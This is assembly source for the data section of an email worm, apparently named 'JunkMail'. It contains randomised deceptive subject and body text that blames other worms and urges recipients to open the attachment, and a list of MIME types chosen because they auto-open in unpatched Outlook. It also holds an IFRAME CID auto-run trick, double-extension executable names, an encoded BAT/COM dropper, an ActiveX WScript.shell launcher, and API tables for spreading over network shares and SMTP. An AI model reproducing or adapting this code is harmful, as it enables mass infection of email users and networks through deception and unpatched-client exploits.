smtp4           db      offset header1 - offset $ - 2, "DATA", 0dh, 0
header1         db      offset header2 - offset $ - 2, "FROM:", 0
header2         db      offset subject1 - offset $ - 2, "SUBJECT:", 0

;-----------------------------------------------------------------------------
;e-mail subject texts
;high bit set for list of phrases from which to choose randomly
;other bits are number of entries in list
;-----------------------------------------------------------------------------

subject1        db      83h
                db      offset subject1b - offset $ - 1, "Does this belong to you"
subject1b       db      offset subject1c - offset $ - 1, "Do you own this file"
subject1c       db      offset subject1d - offset $ - 1, "Is this your file"
subject1d       equ     $

subject2        db      offset subject2b - offset $ - 1, " - "
subject2b       db      0

header31        db      offset header32 - offset $ - 2, ".ZIP", 0dh, "MIME-VERSION", 0
header32        db      offset part11 - offset $ - 2, " : 1 . 0", 0
part11          db      offset part12 - offset $ - 2, "CONTENT-TYPE:", 0
part12          db      offset part13 - offset $ - 2, " MULTIPART / MIXED ;", 0
part13          db      offset body1 - offset $ - 2, "  BOUNDARY = ", 0
                                                ;two spaces to force at least one to be present

;-----------------------------------------------------------------------------
;e-mail body texts
;high bit set for list of phrases from which to choose randomly
;other bits are number of entries in list
;-----------------------------------------------------------------------------

body1           db      offset body2 - offset $ - 1
                db      0dh, "I received this file from you yesterday "

body2           db      83h
                db      offset body2b - offset $ - 1, "afternoon"
body2b          db      offset body2c - offset $ - 1, "evening"
body2c          db      offset body2d - offset $ - 1, "morning"
body2d          equ     $

body3           db      offset body4 - offset $ - 1
                db      ".", 0dh, "I think it was sent without you knowing by the "

body4           db      87h
                db      offset body4b - offset $ - 1, "Aliz"
body4b          db      offset body4c - offset $ - 1, "Badtrans"
body4c          db      offset body4d - offset $ - 1, "Goner"
body4d          db      offset body4e - offset $ - 1, "Klez"
body4e          db      offset body4f - offset $ - 1, "Magistr"
body4f          db      offset body4g - offset $ - 1, "Nimda"
body4g          db      offset body4h - offset $ - 1, "Sircam"
body4h          equ     $

body5           db      offset body6 - offset $ - 1, " "

body6           db      83h
                db      offset body6b - offset $ - 1, "trojan"
body6b          db      offset body6c - offset $ - 1, "virus"
body6c          db      offset body6d - offset $ - 1, "worm"
body6d          equ     $

body7           db      offset body8 - offset $ - 1, ".", 0dh
                db      "The filename was "

;be careful here: remember that line length is 76 characters

body8           db      83h
                db      offset body8b - offset $ - 1, "alter"
body8b          db      offset body8c - offset $ - 1, "chang"
body8c          db      offset body8d - offset $ - 1, "replac"
body8d          equ     $

body9           db      offset bodya - offset $ - 1
                db      "ed but it looked like an important "

bodya           db      85h
                db      offset bodyab - offset $ - 1, "database"
bodyab          db      offset bodyac - offset $ - 1, "document"
bodyac          db      offset bodyad - offset $ - 1, "picture"
bodyad          db      offset bodyae - offset $ - 1, "spredsheet" ;reduce size
bodyae          db      offset bodyaf - offset $ - 1, "video"
bodyaf          equ     $

bodyb           db      offset bodyc - offset $ - 1
                db      " inside.", 0dh, "You should look at this file to see what it is.", 0dh
bodyc           db      offset bodyd - offset $ - 1
                db      "The attachment might open automatically. This is normal behaviour.", 0dh
bodyd           db      offset bodye - offset $ - 1
                db      "If you see a prompt to Open or Save the email then choose Open.", 0dh
bodye           db      offset bodyf - offset $ - 1
                db      "If the attachment is blocked by Outlook 2002 then see", 0dh
bodyf           db      offset bodyg - offset $ - 1
                db      "http://support.microsoft.com/support/kb/articles/q290/4/97.asp", 0dh
bodyg           db      0
part21          db      offset part22 - offset $ - 2, " TEXT / HTML", 0
part22          db      offset part23 - offset $ - 2, 0dh, "CONTENT-TRANSFER-ENCODING:", 0
part23          db      offset part24 - offset $ - 2, "QUOTED-PRINTABLE", 0
part24          db      offset content - offset $ - 2, 0dh, 0dh, "<IFRAME SRC=CID:", ourcid, " WIDTH=0>", 0

;-----------------------------------------------------------------------------
;these types open without prompt in unpatched Outlook
;-----------------------------------------------------------------------------

content         db      9bh                     ;total of exploited, CIDs, and not-exploited types
                db      offset autorunb - offset $ - 1, " APPLICATION / X-MPLAYER"
autorunb        db      offset autorunc - offset $ - 1, " AUDIO / AIFF"
autorunc        db      offset autorund - offset $ - 1, " AUDIO / MID"
autorund        db      offset autorune - offset $ - 1, " AUDIO / MIDI"
autorune        db      offset autorunf - offset $ - 1, " AUDIO / MPEG"
autorunf        db      offset autorung - offset $ - 1, " AUDIO / X-MID"
autorung        db      offset autorunh - offset $ - 1, " AUDIO / X-MIDI"
autorunh        db      offset autoruni - offset $ - 1, " AUDIO / X-MPEGURL"
autoruni        db      offset autorunj - offset $ - 1, " AUDIO / X-MS-WAX"
autorunj        db      offset autorunk - offset $ - 1, " AUDIO / X-MS-WMA"
autorunk        db      offset autorunl - offset $ - 1, " AUDIO / X-WAV"
autorunl        db      offset autorunm - offset $ - 1, " MIDI / MID"
autorunm        db      offset autorunn - offset $ - 1, " VIDEO / MSVIDEO"
autorunn        db      offset autoruno - offset $ - 1, " VIDEO / QUICKTIME"
autoruno        db      offset autorunp - offset $ - 1, " VIDEO / X-IVF"
autorunp        db      offset autorunq - offset $ - 1, " VIDEO / X-MPEG"
autorunq        db      offset autorunr - offset $ - 1, " VIDEO / X-MPEG2A"
autorunr        db      offset autoruns - offset $ - 1, " VIDEO / X-MS-ASF"
autoruns        db      offset autorunt - offset $ - 1, " VIDEO / X-MS-ASF-PLUGIN"
autorunt        db      offset autorunu - offset $ - 1, " VIDEO / X-MS-WM"
autorunu        db      offset autorunv - offset $ - 1, " VIDEO / X-MS-WMV"
autorunv        db      offset autorunw - offset $ - 1, " VIDEO / X-MS-WVX"
autorunw        equ     $

;-----------------------------------------------------------------------------
;these are types that display the CID instead of the filename,
;so using a good choice for CID (eg email) will make many users open it
;-----------------------------------------------------------------------------

                db      offset usecidb - offset $ - 1, " APPLICATION / FUTURESPLASH"
usecidb         db      offset usecidc - offset $ - 1, " APPLICATION / HTA"
usecidc         db      offset usecidd - offset $ - 1, " APPLICATION / X-SHOCKWAVE-FLASH"
usecidd         db      offset usecide - offset $ - 1, " TEXT / X-SCRIPTLET"

;-----------------------------------------------------------------------------
;and, of course, a not-exploited type
;-----------------------------------------------------------------------------

usecide         db      offset usecidf - offset $ - 1, " APPLICATION / OCTET-STREAM"
usecidf         db      0

part31          db      offset suffix1 - offset $ - 2, ';', 0dh, "  NAME = EMAIL.", 0
                                                ;two spaces to force at least one to be present

suffix1         db      8ah
                db      offset suffix1b - offset $ - 1, "AVI."
suffix1b        db      offset suffix1c - offset $ - 1, "BMP."
suffix1c        db      offset suffix1d - offset $ - 1, "DOC."
suffix1d        db      offset suffix1e - offset $ - 1, "GIF."
suffix1e        db      offset suffix1f - offset $ - 1, "JPG."
suffix1f        db      offset suffix1g - offset $ - 1, "MDB."
suffix1g        db      offset suffix1h - offset $ - 1, "MPG."
suffix1h        db      offset suffix1i - offset $ - 1, "TXT."
suffix1i        db      offset suffix1j - offset $ - 1, "XLS."
suffix1j        db      offset suffix1k - offset $ - 1, "ZIP."
suffix1k        db      0

suffix2         db      87h
                db      offset suffix2b - offset $ - 1, "BAT"   ;text, not binary
                                                                ;binary cannot be .bat in Windows NT/2000/XP
suffix2b        db      offset suffix2c - offset $ - 1, "COM"   ;either DOS or Windows file
suffix2c        db      offset suffix2d - offset $ - 1, "EXE"
suffix2d        db      offset suffix2e - offset $ - 1, "PIF"   ;hidden
suffix2e        db      offset suffix2f - offset $ - 1, "SCR"
suffix2f        db      offset suffix2g - offset $ - 1, "SHS"   ;ole2, hidden
                                                                ;.shb cannot launch in Windows 2000/XP
suffix2g        db      offset suffix2h - offset $ - 1, "!!!"   ;something unregistered
suffix2h        db      0

part32          db      offset part33 - offset $ - 2, " BASE64", 0
part33          db      offset part34 - offset $ - 2, 0dh, "CONTENT-ID:", 0
part34          db      offset batdrop1 - offset $ - 2, " < ", ourcid, " >", 0

;-----------------------------------------------------------------------------
;bat/com dropper, COM2ASCII-encoded by roy g biv
;base64 decoder without dictionary by RT Fishel
;-----------------------------------------------------------------------------

batdrop1        db      offset batdrop2 - offset $ - 1
                db      's', 0dh, "goto r:gb!", 0dh
                db      "j8Y,!P^P_(L?kDQH2DP4@ mP0EPFFGIuKNCHFL@ECHGL@EFFMJJFD@IEFFAL@LH@LC@CCGE@D@MK@LHNB@D@D@LCOCFGH@"
batdrop2        db      offset batdrop3 - offset $ - 2
                db      "LBEDLCIAFGB@LBF@FFO@LJCLF@BNNMFFCIFFO@HLFFKJOD@HLCIHXMtDy6iAHNIZO0QEnNIbQ+zSG0SrNCzSG4AEvNIcN=", 0

batdrop3        db      offset part35 - offset $ - 2
                db      ' ', 0dh, ":r", 0dh, "type %0>r.com", 0dh, 'r', 0
                                                ;space is delimiter, not CR because of line-continue

part35          db      offset part36 - offset $ - 2, '.', 0dh, 0
part36          db      offset unregdrop1 - offset $ - 2, "QUIT", 0dh, 0

unregdrop1      db      offset unregdrop2 - offset $ - 1
                db      "<script>new ActiveXObject('WScript.shell').exec('rundll32 shscrap,"

unregdrop2      db      offset part37 - offset $ - 2
                db      "OpenScrap_RunDLL '+document.URL.substr(7));window.close()</script>", 0

part37          equ     $

if compress_only

txtbody         db      "compress done", 0

else

txtbody         db      "running...", 0

;must be alphabetical order
;API names are not present in replications, only in dropper

expnames        db      "CloseHandle"         , 0
                db      "CreateFileA"         , 0
                db      "DeleteFileA"         , 0
                db      "GetCurrentProcess"   , 0
                db      "GetFileAttributesA"  , 0
                db      "GetTempFileNameA"    , 0
                db      "GetTickCount"        , 0
                db      "GetWindowsDirectoryA", 0
                db      "GlobalAlloc"         , 0
                db      "GlobalFree"          , 0
                db      "LoadLibraryA"        , 0
                db      "MoveFileA"           , 0
                db      "SetFileAttributesA"  , 0
                db      "WinExec"             , 0
                db      "WriteFile"           , 0

regnames        db      "CloseServiceHandle", 0
                db      "CreateServiceA"    , 0
                db      "OpenSCManagerA"    , 0
                db      "RegSetValueA"      , 0

exenames        db      "CreateProcessA" , 0
                db      "CreateProcessW" , 0
                db      "ExitProcess"    , 0
                db      "GetCommandLineA", 0
                db      "GetCommandLineW", 0
                db      "GetStartupInfoA", 0
                db      "GetStartupInfoW", 0
                db      "GetTickCount"   , 0
                db      "GetVersion"     , 0
                db      "GlobalAlloc"    , 0
                db      "LoadLibraryA"   , 0

usrnames        db      "CharNextA", 0
                db      "CharNextW", 0

svcnames        db      "StartServiceCtrlDispatcherA", 0

krnnames        db      "CloseHandle"              , 0
                db      "CreateFileA"              , 0
                db      "CreateFileMappingA"       , 0
                db      "CreateFileW"              , 0
                db      "CreateThread"             , 0
                db      "FindClose"                , 0
                db      "FindFirstFileA"           , 0
                db      "FindFirstFileW"           , 0
                db      "FindNextFileA"            , 0
                db      "FindNextFileW"            , 0
                db      "GetDriveTypeA"            , 0
                db      "GetFileSize"              , 0
                db      "GetFullPathNameA"         , 0
                db      "GetFullPathNameW"         , 0
                db      "GetModuleFileNameA"       , 0
                db      "GetTickCount"             , 0
                db      "GetVersion"               , 0
                db      "GlobalAlloc"              , 0
                db      "GlobalFree"               , 0
                db      "LoadLibraryA"             , 0
                db      "MapViewOfFile"            , 0
                db      "MultiByteToWideChar"      , 0
                db      "ReadFile"                 , 0
                db      "SetCurrentDirectoryA"     , 0
                db      "SetCurrentDirectoryW"     , 0
                db      "SetFileAttributesA"       , 0
                db      "SetFileAttributesW"       , 0
                db      "SetFileTime"              , 0
                db      "Sleep"                    , 0
                db      "UnmapViewOfFile"          , 0
                db      "lstrcatW"                 , 0
                db      "lstrcpyW"                 , 0
                db      "lstrlenW"                 , 0

sfcnames        db      "SfcIsFileProtected", 0

ws2names        db      "WSAStartup"   , 0
                db      "connect"      , 0
                db      "gethostbyname", 0
                db      "send"         , 0
                db      "socket"       , 0

netnames        db      "WNetCloseEnum"    , 0
                db      "WNetEnumResourceA", 0
                db      "WNetEnumResourceW", 0
                db      "WNetOpenEnumA"    , 0
                db      "WNetOpenEnumW"    , 0

ip9xnames       db      "NetShareEnum", 0

ipntnames       db      "NetApiBufferFree", 0
                db      "NetShareEnum"    , 0

endif

txttitle        db      "JunkMail", 0

do_message      label   near
        xor     ebx, ebx
        push    ebx
        push    offset txttitle
        push    offset txtbody
        push    ebx
        call    MessageBoxA
        push    ebx
        call    ExitProcess

.code
        nop
end             dropper